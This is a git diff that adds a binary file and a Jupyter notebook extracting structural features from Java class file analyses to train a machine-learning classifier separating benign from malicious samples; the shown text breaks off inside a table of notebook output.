zQzL}Gm~KIPdOdC*z`8}`qlZLlF&}T|vo^M{PvCfAmHac^X2+Saj&l7>K{=aCqo*0W zgZ;J&qX2#`d$JcGF6FlX&i^!$_w!A>QuWC+$IV{HLa~JFIo-7XTwliOoDdvqbCk2L zivoihqk2h$VAsMaY{$q0lVfgvsgxSLgR6()aP6&#$2aRArpnYC5?;GM0d>#jh2FDU zM)%bjxV8}*%qor;WOhfL9laVnk}pQhV;4$-me~#0ri0;ex%K&t2AaS~b4q@Fgt=GL z%`zz!*&e@eSc+#zP@t~Gz_r#!&Z(xwrHjxtd&)#~jS{>Tu2e?zb!G#+5dr+6Ud?-~ z#lIJRYOL(MX7AJf<<8hpq?Q|vN#RoBlgINZ$9hcj4n_AAiCGl;Xn79r0q9+pg6?yn z#*7DSAbkWN@vlpbIEh<0MpXcb@yzjcNG!#&kD$bOE3Dw#t+vEs!HKfQj#;Hv8iz|R zoMTgyN@<11FO?6cPZ0(_7|WsT6J{GEz$*F0Qs3$_+pq(LE^D3?5a?H`>uU214pYzR zT0|H%rIB?wDtGY5W7KA^kvDyCQa;!A__`Cb#-eL>hc$@$Tp)QEuuqB_Cx*gFhpurwK+)v&?g8hif*7N7LhXjx`w=^Knq1t`>(CJ?$?~ z&2S{u$F0GrK{ef4en`j&;8Y&aec%GZ-od9Y1bk>U!ag(M67^zQwp?ruI>frea09AZWj(DF0X&Ff)INDwsp+p28g}T$OrT@5REBB@T!Uec*%>UMqo$JFxzQ|FyZvp4GGs8 zn{-SfWTNVT)!6e$Jsjy&jIVX+j7M|D$!!D6jNcKuROHfTrjQa1ehvX~sd`N@Xbv4k z+k@fx45A+9`En^nLy`GVI56g{FAuXcG)CG>s&@C0arAHA3*V^aprr2kX_q z0}ClI&CO4P6d7hy+Myc2U3~RknV9#AoRjrRHN%?=72+1wTt9pEWq%=H!(#T^- zY2AJ{l#(5X_`8#`y9$n3P&~92tR@P!unAu3U6v*jD&ULR1dnXV7|YZMJ`q+4sxQav zes(f1Z6Hm@EG8|nTs~aY#bxI9KL8B)q@Ito7l@+S%KdAjOg#p|LPLEwuhTYy&5V(0 z!)(ysg0h81s2K>sMq^_^qFZK4#2iyr_4)dr(s2Gs1-sX!+U|dFpvKR0j0#}y6ED1a zL#@zhw?o4E#;qz*^gc4Jj58PH&l^vR^@$Rpp?)XOgOzjl+Xbb*h<|*T)Xig7qHk+6 zzcc}xu(wBSEx-TH)TesVpA~h8#Uz>JT}hK0#qfTE`(9<7ieF5OA<*j9NWH{+^fBBn zvI`)*DJ@cIp~y#J@$m+QMfyJqo(pOWEPF!BUs_d4RY40nvd{b6*5t-ySia8MLD^%} zI7iYby2^mbN9Q#Z>&wJ0KA;c69=Csdbu!Ow0k@e+2T48D=PpCahC%EZi(divT+Le3 zl`Cw}Lq2dIrJIbI`>BMT@y8*OONIic;KP4uDjcHP;B+853{QA()2lfqUs;Ha1+rb|k>yZyht~k|kLywT2TYn`Z7~~L^e&k?V^^@tk;a~AP`I^dLNswM zMTU#v@ZP91C1ZD+O~&@Y9@CF|S@*oT#J~nqN6K*Be>r-XL&B{Ho|{+W`yI&;O{O4- zwc>Zrv}^~cqLS=wT7|{NmA^0M5a5%7;g_>xb;lC4)Orl_4uSdR3?wLiiZBQKmd!Q@ zx}XhH@|{S%K;?uhe_5dYkuCLu5FX}Qe;jk~zU^ZqJ$ReLAEAZsjNOO3j=RHIDHkUS zOe+HIPARK{Y&uRTErQB?HVC~CKHPxgu&mRBSlFP*b+|xL<5S&G3;#5H4v&j|am^ke zkG^El%%10Ru(@MMiMn=`A38o6ib&AL3yZMA)>>*)NGPn=6oZxp&#-sE{m>Q(NTr9` zxHJF$JkZzqdBCoj`9eFXfBIMUq`O0vXEnyUj(gE>Hz(|G{90E6I#qjTj}8;A19-4G zZv+aLrEn2?(DjLh6@_?6Oup^-lua{}qA*%{dN4Gl|8aJH7MrMpN3JlQbg`aQ9*ez6uu?;zl>{^gYEF>5esdhxAa-bZ^nB#e>1H0wq2KK6|4(w4? z6_to@TOw?c5ACFv6lT~ktG*pNiw%c4by5n^l#^jtSJGb8F^UJut1Jm(sar%?)zFBj zYi*-r)VBIJTrm0oDN=hwX*l+YrJg`1>Vbuy8~1eNz1X-hS#XFQ-s54Tn0N=Y4)(m} z7hR?t&b+I5LvnON&L#cC%X6jiesgn3IK&>8A}#UBZbC`HFvS%!oMe-8IQ$ zy4JYl0NavWU&-qQZ#8FdicSAtd(Zw4b^86g+uF8^t+t|E+U;#5T?n~HsTjA4tSFgQ zq2!Wl2-9}4ZKB?Tkn5Iw8b&1&iTP~Xw1b!~MsnRu8O9|;L@wX+yk}^?-#_8|>it8n z%slhF&vVXs&N`~;X~m|SH*@uKh9hx<$LjjSRc6h?mfcr)(>_?8De9r}FUG{i@1=FFtSkmIO2(v0pYARUF~52{1B z2>ePaBgY9h;JVB4xa!9ApjHddy1M}Z)n%voP9*lNH?0imeU<=%pwci{VCYrs(Zl}- zD5Fr`0}a6Wqg--d_<}tm{4qOzDR^1^gCVI?=@<|Y7OR_^DC>@9eDk8AQ$0IKlJ4np zxII4tvB$8>tkTCoQ^x}tf(|d1E;?#qVbLH3;z;g@CPPKotFP%qI4gx$(|%sBT-{LB z@jeeI0UwFTa()3xJ?0F}GIjRH(6KO{DzYi0l4?H?BW$-?_D0kXi3P+^ zC@Z(~?|RW7TS_Sm^xG+&i1T;(m6Vmb-IY2aJ=Md#Z?1Utwj^HyOYwuskk2u>x#d%+?bD%v7kqhTOHxxHT?s6GKfqARB#CunHNPX;q zfDn(_fmNKWm@xkt>~U!J<;MDGOv>(5?{N6{b&eDog zs_wM%@IZ=)ly|0%Z*(`M^tEcelAqCBw7T_SxCeO-ok#D5zV`FHSgs@@t=Gc_vEQxs zu9LdKw%`sV_j+54)b&IA^HNKWYpBPiGZL!a3j`|nUc!dUAvc`$1F+H&Ci@=F9vuJp zu)r50qL*Qe$MrAeXE)a&zd=$MT0X?^9i?tb5L5%(1V+n`N9cQVyYq~~Y9idS+Lzb- zo<=GVp4HH$nD?9oX6StTzBI^iAS0x&It|&|Gim;#uB48$g=;QP$a|uFr=DGHB_5`x zgTw;gZ8)cJ?C(8kR@;VS&n4C>drD~Tw|nPKFQ0}&!}{Be$)ftc${?_}_?OHYOuAUJ zF>^=<^@6Kd(nhuRM(aQDF9x?>IN&kV@oz#M*sMw(s7VQN^TG3!yoNHEx-~&mAF|U_ z*GI0hW&AqpB_>>7tP;AF_0bR!3j+*T5b<^gQv~Bwcd)r=Vy8`d*8^;X?0rI*eG~X( zB%3EQy167sub$OfCqDxYFF>+*IPigV<26Ef_V3Q3L?kIN$ne8tfkme|p6lDtB(ERD z?M}U4IG`WYnVPpxLko70Jla7T4M-|(T~5yj1Ksfaa4{gW3yOTPs4XtW58y;m3Yk=x zEUB7Q38Py;_(#Az8*|pBC)i)DDT!KFcsTeQkc+nD>7(?o#H(M)TP0w@HWuf zz8(@D4tPB(K>W^@1!dg!qovv`YRff29q9L@6|w2MJo&lCZ3Vo$^V~Um&>AqIH^9>I z8OlKhiGrI$=6a6DK7zf|b`UP2MaNi%q-ru!xV{RD1nz-~SVxFXG+CItO<$GTaO~NI zr!oo-2fNq$IgrK-gOzJfGE6cxX*)g@>ch0}n_3@s_kb zyMDlgk*zi;m+TTrUnSI9mrj29m!o;MYoSfksb6@P7W@HeKqzH*hl5v$R(7Eo}v(pf}i ztzioxtrUyC5ih=hE87&H?0tpUl38iF+j2Ifr7@O0tE67^cn7w7f#1*||0tpnPiJ#? z)3s}x=QoGU5WZjV(Elm_pO~;;Fw?$~VSFQ~=>`(q-Oaz1=1#=|fHT4mLWnLBaMZpB z=PCBSWZip{<)?WUWaZ|qzh<~PJBV}z$1uPhk*nKR?u!KuoOdZX`gr&K-j-H_1sJE% zf+$uQX_x9*`eQg@upy!-9>>trYi7_-XnBnmratg|Z^qg7biJH~tLAdFCuw4I zV$oH6Fc$EVlhqVho8NRlG-T+~NnMN`A7GBMkt^tAp}pZ%^66 z5`3DY74Y`0lYS?gCj9HkJ^w%dOa>q0?I0zD4*PvJ{vG^(nojm%o{x9?yt$(;3hDL+ zGBmd_s0V?1WB^o~1wz4JfC2`fU=HwXW>Gl-j5V;;@tm!J-%-z@n4_!#G@(%Q@n`b@ z5b#YWYfpNGA}x-PIUBW^|NbASQnn+x;3k6r(`B=f^k}l&i-Wd}W?9mt5u8esKA0yS)OmZge z58zA<$k?e!6r@3k2B;e$s{;+Uo+`=BXPsncXVuU=S4AvCdWHRi9i!=y_pXkv+V?UC zCP2$Q=9pkS8>lY>>3KQm?jEz&1_?@mG>kl4nOeXE$oxLs+@SfX|8ld&`l2T-nwi;{7q&SoO7rC@|zEOcQIb z9nyxKi^W`o(;Jv>AI@-0h8NOb8jmLVuNiC& zdj4+9P`G5XDJTO3@?734$t@UfJNM&t#B)M#vv70&&$Bj+H-(RP46T1G-(rF|Bxzp; zG`IF*iAYU`uEnuZsK>I0sIV2gBC;}`HYJaPA0h^1y3!|k1&tNJA#@)dXRw&>=LGb3 zwDi}Wt}_V(mQ^=WSpIyA#-p7wwm7Oon!6`Fr&OETd`FUzlh}CQq*S&Vi5|APA3|(0P~~2miG961WGtoW&FrproBJ zEIZyFi9ZHfsN`|;u_5Z~oi~!krbaS!(=~+xAT6l^RbtGRhyaNudFXfVZsZygdD`Cs zI`jgeHk}59NknRM%?YC~b!_}zm!}AHiuhgi|TL)XG(MyaX9PYBjf*)e!B&PyKNoS~cn!_mHaxT8RXY0Cl((Qz5u zYZ+Gsm#Fu_x{wT{CvJfX!_K1HpRgoYE26g6)z>4daDq20Ew7wanN z|7d#-+Mg}E#}X1`UGb6r>Gx{Hf>>_GmHz{oIpllWK+dzTugNac<7PlH*=dZ&WHnQv zEKUaBIYcs$hX!t4lMUqyZsHYbhwq$_M*3k27g7X$jIttrm^t!DU<<+bhbh3Nq$cWl zyAkj7n%)M{UAfd2xV-!sQ5%be>X4YidArJXMwubketMI#w?5F}?guGDs!H~2zkg8w zFF40QM!vQ9&wq27@-JRQtF`}4bp3DYdjiUR#_mSdrf#c_q~QT8JEYh#CFZM!`Vz%} zZgL;cx)FZhPH3H#*qnNBY5gbZKu@bGn>lZ~73tHxshJMo{DAFR12y+_1}I{-81`TZKv>9e8l| z_8`U%5vuonq&%1@I;EDT$-7F51|FmcV43sc?KW75Wyrt)$?Hr5T+vJta|vavIR*_n)GPaFRnQCa{jA!{`_}5l$3S z^lwgcecbUV;v!?r30bm8Bn?7bI+k?9QtciTo#FbbIK7#YNOYOT1UPd~z}<8>N!c*8 zL9D^~3?+}(bA2gJucn65n2nbOx1lo^zqEv8t4FA!YuI+RBL@lBUE-D0W!h6qPdesf zBhJT{*Exq2qn(@y8Raufcv`3W=16$Aheq&*nI=0 zqd|M-(rNh>_N;;u3gT}b$qh*~+Vc zD9Nk5${5>0?5cA%-;Z`4do>(huwHx1WQL%Q+L9zVJFWYc9C9Qoti&zOA{`P#Z8Sh7 z2GSFJ(SP8+w&Ls4DB?W6M4d3;%6PFF$^FdE0#?G5_8@;1oD7am@B3JuC!|D`sdC@d zwX4DFDVo3@ZJF_QN*OipGM7`5`BT_z+kM;`js{WoUM?@mC2^2l>t|u9rV6e$!cir; zd3xxTQ(9aom|Dm$%^}$%Mg`4!C*E!u7~6OSA$UE#sNog1{wIiGIBGUaW(EH`hR&KV z8PHlmL>OgHv9d-G%NDge_htpzwK*)!y zya&h{p&%iy@!nGH40XcGU{;pH6t3tk_jKSK0=W`l0VLadg5o64Jj%PkY};tDi8r;b zq^5k!jk3x3EZb1+D~iWhUEIUg$iqFf543wsDh;r2E|20+!u@ zy(k?FY3@J>F2pjy=^q1tc7*XprdM^LXd^ef^T3=@Nau-aM&}e(av^*_KH7lYFhtc{|2+OQzQN>xfa$Zpj zpJc?F5OM+_C)g=51W+h6@o?yr3KTAFWSshmJ4qEk>FP)425rf1HMaZrf#_gZj%gF(L&u`q^cl`1ha;_ixMb5T4O3yCF1YzfREwf6%A2FI>6y1 z?sOK_aE#$2Hj2E!Zr-q~q(Yq(fW&s%T5qOB5gTs=ED~lMV>PZIPZx1eFbPW%TdH;B z1Q-i4%-CSW<4e4mS!- z4fVoAlBuK7wrD#9d7yA2W0bAq#!c}L{qBbzxRY0g^T~4(b$U<-9GYhR5%2E~y`Mt& z5Lzpw77jb>0flRhBtw`Lx!Gvlh|tIib0f-Dapy6Nrd5|w>dF@--wr-^7JVeeous+B zUy`Mo#|^E8VOxoNQ@TT=s5!A_N9IK@mLsWSFb>&2NN!DbYC4GUIaH;3=@zEnI^<2n zWy8X*N#?wODsgLYEY)(*oQH^jDM)$yeQd>C9AvvHs{KFl(DG*9OZjh& zv!(HevSnOTXFlKqleR^9L7i44%2M*5Q^Q`k2EXo=;+) z|7Xv3)3bEVpMI}Ynq550Xyik%$H!k2tLJNt=RN$a$4n2ae=3s6yXOPxc&2}>0*S-y z>T%le?YJ8ew__F96!7@*j2VKAduL5UVl@w@mLcKz+7FH8GP}C)$;&F=k8UT-0+u6I zh0t5`NJ3@i=qbWCM)P0_IofkOEbh)$W>@99(>xRCqC-5M8toSwv2p*8&`Ybl!3};) zFW(M0TghZXfxK3a3uk?H`Tw^`%Im4;Oep%vDziublxyz@Ao=6-IbgBO(@d!4=Rq`G z5d={4(;rIq5xu_u6cNQ;JTu}%OuvYW#0fpZ0^s0TJ2()sN9LZL*ueFs9_w0zfChbQ zBR;q8M_xU&g`xDJl?>^_#y1Uc2-=Y-+8TnxC8Sly28o!^)9B?co)Hll(?2eO`pgcr zz_`72&+&}EyME^xPK|u+c+f&zheHI*6HU%_2D#;Ak^pF$axQa;)7wl#;?ySY-I9wW z44AXL6GU$$3#_Q+`W!u-5EQ4z-Uf5~neMGqp>AOSst*vk@1=0Ow%7&v_KDvMtK4Fq zs*+H@PC%OugBDHxRzEwQ^`Y9?n@i|Y-4C6Yj+D#}^dKHao4i6VT=3hk7zWML65fUJ z6rJ+tx@-zT(h1%f`q3g06V~992AoeHo5-`Yhb_RtPGK4(3K&iarGsz0e4gq&y2OS;8j}W!)C94KI@vF~Vq|D^pTkAhp2rJye`Se(TBo@{Y4?xpj z{_GG))G>E?Qwwko=n8A1%v z%hpDq*IYxTvU{9%Y^$GwTYKOn!PwuI>lPE8laDa^dKDTu1icKeI;;u|C)B5?vblPR z(+*SBr*g8kF0)|Zo&O@9wzhZZt6jTzbnh278hXv3mM02Y3$~leTDPE~yz>YVmv%dt zLpgH*wVt{m$v~1Ms8^p}xp+oe_2QYv8e^fz5^c*vWL zb}32><r?~N{i4L zn(h8QA{z~gZae*y)w5gp9yiaCP?`QrypNcC9oG6cFw(mc28_mDUqYChmCM`!MnT?B zS#gw-(Zh<;_SgUhMs7n4|L}S`k)r+x75; zsQark`{FchpOJyM?1PH|DQx|p9hR$<=##9kDrNo5dsi7vR}~k5D9w?;tZ@xcf(=0n z)^q_M1n8ySmjITf&gx2P;N!Y8$dT}(`fCTuP zT&5ZFGw}1aWyw-XXzw?m?=ah{0H>LmJ>LqU^UZY$(05!BKV>E}4N?T0Jl7w>T#3h8 zAqcaWf?oyIKZJi98$bEUjlAsZxInHDu7ASp}W??5C+if3Z;qQAtfAV;QvVvRL zCP}n|%jb&JL#vZ19mLM@xbj zb_0R~%kdU5c^{o*&uzKkh^+v9e0?~l*alV>bB=f7^|%b;T`kc=irhexS1Ed zt#6nAbIH`~@{qOMGt^!i|62ZVizdh3-Vvdft%UX)*0IAu(bE4XQ5MgJnx9+(&Ib?$ zqK3SuCc}6rEvEnJtz7gGZ80cE>`o4|OPuGrv{bFiAxl?^#p5wo1W^S_lTC)4lYw1p z(dgG2Xw%b5nFgtX^LSrqU3ds_QPmbnJmB(Hm65IdjaaiT=j0*Dcu!M=!{d2OCSHGd z?%9^l%)WO^Bry>ly;q&$qI#*~>zbS@3FM~sX!gu(X6dHe3(mDL1S~0eLe;otXt1K2 zk*1V5S|lK@x0qE0-<=KKX;x3Ub>SrfgJu%8#p=_&ftftnr*ah;rKHeZh@n;bt=e0+ zgW8htF?U;^jsH*FE0SMio&n+$g7WSMm^SC+;kOhtjUJDr=;@yw%o$CW>klpub0p?T zR!W!ONn}t){>g1Q;}+9eqd;hKbQ+u^wU4?_Wb8 zl4W8!$jHF_&V$i~HiieW1d7D?pM0y0#=m~%7TWVJLxv+)kuCxLq!|JQ>#%T8wDNaJ zG!>p_^$qoTttKzZ+Qvp5_>VI_-}}p?*2ab8{?z3NH*{lAJ`9E0waebfFHqd&f0(}+ zP5&lzlhucN!Q&n={nf7=&?oG4lEbWFr3GiV8oFim^!4NB9^QzkG-l2K^Mk6@*nmJf zcqhqR$L|0KIA{!Zc?wIvJ&$G?I@3|`d*nplOb}cB64s($qJVtCJddf%l~QtddwOUG zMi6cT;E)G~y9gdUM?$6`a-?Iq6fNs7fWW|pvX}<(Dspe+zw@3f-@=_E8Q<-dLyYNh z%?w)}Q*Y3ytsz6!gFmk6|5q9b7I8Qo5DqEAA5We?!Qj zKN|jph#q+Jq2nJ-j<5SdgjsA$T)|rmTUv>F1n8|q6vKx0Iw)3U#GcQ$fx;1H5~z9} z5rQk-{vUx}7cV?SKg4Q~Jqxz=5%m>e=E1V(V^u@t`L_NIvBQaq6>-){NLi$oEGLW-1fBJvCRP3)JGf4(5hk$B$QlPL zo5kEvvv#q;=1}BFztbB>O{a~Og6iRjuc-WkDZ9ozdX zU$>eR5nqLj6cN~0@j8WxuZl&AiLWYkiY2}p6H}P@YD`Em@zt1^Vu}AR#zb3GWAQ99 zqkQY6Yw>EHGMq-VAT;Y=PqoF?fBl7Nto~m|5O&P}KJR?}G4>T#4pz literal 0 HcmV?d00001 diff --git a/java_classification/java_classification.ipynb b/java_classification/java_classification.ipynb new file mode 100755 index 0000000..99b696a --- /dev/null +++ b/java_classification/java_classification.ipynb @@ -0,0 +1,3531 @@ +{ + "metadata": { + "name": "", + "signature": "sha256:b0eb9b534082cfefbc26df49a4e010771e27afb7ad25a9e4b43276f6c5ea724e" + }, + "nbformat": 3, + "nbformat_minor": 0, + "worksheets": [ + { + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "

\n", + "# Java Class File Analysis\n", + "In this notebook we're going to explore, understand, and classify java class files as being 'benign' or 'malicious'. We will explore the data, apply machine learning algorithms to the data, add new features, do more machine learning. Then we will test our classifier on a large amount of files to measure it's effectiveness.\n", + "\n", + "### References\n", + "\n", + "
    \n", + "
  • http://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html
  • \n", + "
\n", + "
\n", + "### Python Modules Used:\n", + "\n", + "
    \n", + "
  • Pandas: Python Data Analysis Library (http://pandas.pydata.org)\n", + "
  • Scikit Learn (http://scikit-learn.org) Scikit-learn: Machine Learning in Python, Pedregosa et al., JMLR 12, pp. 2825-2830, 2011.\n", + "
  • Matplotlib: Python 2D plotting library (http://matplotlib.org)\n", + "
\n", + "
\n", + "### IPython Notebook for this talk: http://clicksecurity.github.io/data_hacking\n", + "
" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Imports and plot defaults" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import pandas as pd\n", + "print 'pandas version is', pd.__version__\n", + "import numpy as np\n", + "print 'numpy version is', np.__version__\n", + "import sklearn\n", + "print 'scikit-learn version is', sklearn.__version__\n", + "import matplotlib\n", + "print 'matplotlib version is', matplotlib.__version__\n", + "import matplotlib.pyplot as plt" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "pandas version is 0.13.0\n", + "numpy version is 1.7.1\n", + "scikit-learn version is 0.14.1\n", + "matplotlib version is 1.4.1\n" + ] + } + ], + "prompt_number": 117 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Plotting defaults and helper functions" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "%matplotlib inline\n", + "plt.rcParams['font.size'] = 18.0\n", + "plt.rcParams['figure.figsize'] = 16.0, 5.0" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 118 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "def plot_cm(cm, labels):\n", + " # Compute percentanges\n", + " percent = (cm*100.0)/np.array(np.matrix(cm.sum(axis=1)).T)\n", + " print 'Confusion Matrix Stats'\n", + " for i, label_i in enumerate(labels):\n", + " for j, label_j in enumerate(labels):\n", + " print \"%s/%s: %.2f%% (%d/%d)\" % (label_i, label_j, (percent[i][j]), cm[i][j], cm[i].sum())\n", + "\n", + " # Show confusion matrix\n", + " # Thanks to kermit666 from stackoverflow\n", + " fig = plt.figure()\n", + " ax = fig.add_subplot(111)\n", + " ax.grid(b=False)\n", + " cax = ax.matshow(percent, cmap='coolwarm',vmin=0,vmax=100)\n", + " plt.title('')\n", + " fig.colorbar(cax)\n", + " ax.set_xticklabels([''] + labels)\n", + " ax.set_yticklabels([''] + labels)\n", + " plt.xlabel('Predicted')\n", + " plt.ylabel('True')\n", + " plt.show()" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 119 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "def extract_character_info(string):\n", + " lowercase_runs = []\n", + " uppercase_runs = []\n", + " digit_runs = []\n", + " lower = map(str.islower, str(string))\n", + " upper = map(str.isupper, str(string))\n", + " digits = map(str.isdigit, str(string))\n", + " \n", + " current_length = 0\n", + " current = False\n", + " for l in lower:\n", + " if l:\n", + " current_length += 1\n", + " current = True\n", + " else:\n", + " if current:\n", + " lowercase_runs.append(current_length)\n", + " current_length = 0\n", + " current = False\n", + " if current:\n", + " lowercase_runs.append(current_length)\n", + "\n", + " current_length = 0\n", + " current = False\n", + " for u in upper:\n", + " if u:\n", + " current_length += 1\n", + " current = True\n", + " else:\n", + " if current:\n", + " uppercase_runs.append(current_length)\n", + " current_length = 0\n", + " current = False\n", + " if current:\n", + " uppercase_runs.append(current_length)\n", + "\n", + " current_length = 0\n", + " current = False\n", + " for d in digits:\n", + " if d:\n", + " current_length += 1\n", + " current = True\n", + " else:\n", + " if current:\n", + " digit_runs.append(current_length)\n", + " current_length = 0\n", + " current = False\n", + " if current:\n", + " digit_runs.append(current_length)\n", + " \n", + " return lowercase_runs, uppercase_runs, digit_runs" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 120 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Function to extract out the features we are interested with from the json blob" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "def extract_features(data):\n", + " features = {}\n", + " try:\n", + " features['sha256'] = data['metadata']['sha256']\n", + " features['size'] = data['metadata']['file_size']\n", + " features['entropy'] = data['metadata']['entropy']\n", + " if 'sourcefile' in data['characteristics']['java']:\n", + " features['source file'] = data['characteristics']['java']['sourcefile']\n", + " else:\n", + " features['source file'] = 'No Source File'\n", + " if 'access_permissions' in data['characteristics']['java']:\n", + " features['ap_count'] = len(data['characteristics']['java']['access_permissions'])\n", + " for ap in data['characteristics']['java']['access_permissions']:\n", + " features[str.lower(str(ap).replace(\" \", \"_\"))] = 1\n", + " features['class name'] = data['characteristics']['java']['class_name']\n", + " features['class_name_slash_count'] = features['class name'].count('/')\n", + " features['class_name_length'] = len(features['class name'])\n", + " cn_lowercase_runs, cn_uppercase_runs, cn_digit_runs = extract_character_info(features['class name'])\n", + " cn_lowercase_run_longest = 0\n", + " cn_lowercase_run_average = 0\n", + " cn_uppercase_run_longest = 0\n", + " cn_uppercase_run_average = 0\n", + " cn_digit_run_longest = 0\n", + " cn_digit_run_average = 0\n", + " if cn_lowercase_runs:\n", + " cn_lowercase_run_longest = np.max(cn_lowercase_runs)\n", + " cn_lowercase_run_average = np.mean(cn_lowercase_runs)\n", + " features['class_name_lowercase_run_longest'] = cn_lowercase_run_longest\n", + " features['class_name_lowercase_run_avg'] = cn_lowercase_run_average\n", + " \n", + " if cn_uppercase_runs:\n", + " cn_uppercase_run_longest = np.max(cn_uppercase_runs)\n", + " cn_uppercase_run_average = np.mean(cn_uppercase_runs)\n", + " features['class_name_uppercase_run_longest'] = cn_uppercase_run_longest\n", + " features['class_name_uppercase_run_avg'] = cn_uppercase_run_average\n", + "\n", + " if cn_digit_runs:\n", + " cn_digit_run_longest = np.max(cn_digit_runs)\n", + " cn_digit_run_average = np.mean(cn_digit_runs)\n", + " features['class_name_digit_run_longest'] = cn_digit_run_longest\n", + " features['class_name_digit_run_avg'] = cn_digit_run_average\n", + " \n", + " features['major version'] = data['characteristics']['java']['major_version']\n", + " features['minor version'] = data['characteristics']['java']['minor_version']\n", + " if 'method_names' in data['characteristics']['java']:\n", + " features['method names'] = data['characteristics']['java']['method_names']\n", + " else:\n", + " features['method names'] = []\n", + " features['methods_count'] = len(features['method names'])\n", + " lowercase_run_longest = 0\n", + " lowercase_run_average = 0 \n", + " lowercase_runs = []\n", + " uppercase_run_longest = 0\n", + " uppercase_run_average = 0 \n", + " uppercase_runs = []\n", + " digit_run_longest = 0\n", + " digit_run_average = 0\n", + " digit_runs = []\n", + "\n", + " for method in features['method names']:\n", + " lc, uc, d = extract_character_info(method)\n", + " lowercase_runs.extend(lc)\n", + " uppercase_runs.extend(uc)\n", + " digit_runs.extend(d)\n", + " \n", + " if lowercase_runs:\n", + " lowercase_run_longest = np.max(lowercase_runs)\n", + " lowercase_run_average = np.mean(lowercase_runs)\n", + " features['method_name_lowercase_run_longest'] = lowercase_run_longest\n", + " features['method_name_lowercase_run_avg'] = lowercase_run_average\n", + " \n", + " if uppercase_runs:\n", + " uppercase_run_longest = np.max(uppercase_runs)\n", + " uppercase_run_average = np.mean(uppercase_runs)\n", + " features['method_name_uppercase_run_longest'] = uppercase_run_longest\n", + " features['method_name_uppercase_run_avg'] = uppercase_run_average\n", + "\n", + " if digit_runs:\n", + " digit_run_longest = np.max(digit_runs)\n", + " digit_run_average = np.mean(digit_runs)\n", + " features['method_name_digit_run_longest'] = digit_run_longest\n", + " features['method_name_digit_run_avg'] = digit_run_average\n", + " \n", + " if 'interfaces' in data['characteristics']['java']:\n", + " features['interfaces'] = data['characteristics']['java']['interfaces']\n", + " else:\n", + " features['interfaces'] = []\n", + " features['interface_count'] = len(features['interfaces'])\n", + " features['constant_pool_count'] = data['characteristics']['java']['const_pool_count']\n", + "\n", + " except KeyError as ke:\n", + " print 'ERROR:', ke, data['metadata']['sha256']\n", + " return features" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 121 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "def load_files(file_list):\n", + " import json\n", + " features_list = []\n", + " for filename in file_list:\n", + " with open(filename,'rb') as f:\n", + " features = extract_features(json.loads(f.read()))\n", + " features_list.append(features)\n", + " return features_list" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 122 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### We read in the benign and malicious files" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "# Good files\n", + "import glob\n", + "\n", + "good_list = glob.glob('data/clean/*.results')\n", + "good_features = load_files(good_list)\n", + "print \"Files:\", len(good_list)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Files: 500\n" + ] + } + ], + "prompt_number": 123 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "# Bad files\n", + "bad_list = glob.glob('data/malicious/*.results')\n", + "bad_features = load_files(bad_list)\n", + "print \"Files:\", len(bad_list)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Files: 520\n" + ] + } + ], + "prompt_number": 124 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df_good = pd.DataFrame.from_records(good_features)\n", + "df_good.fillna(0, inplace=True)\n", + "df_good['label'] = 'benign'\n", + "df_good.head()" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "html": [ + "
\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
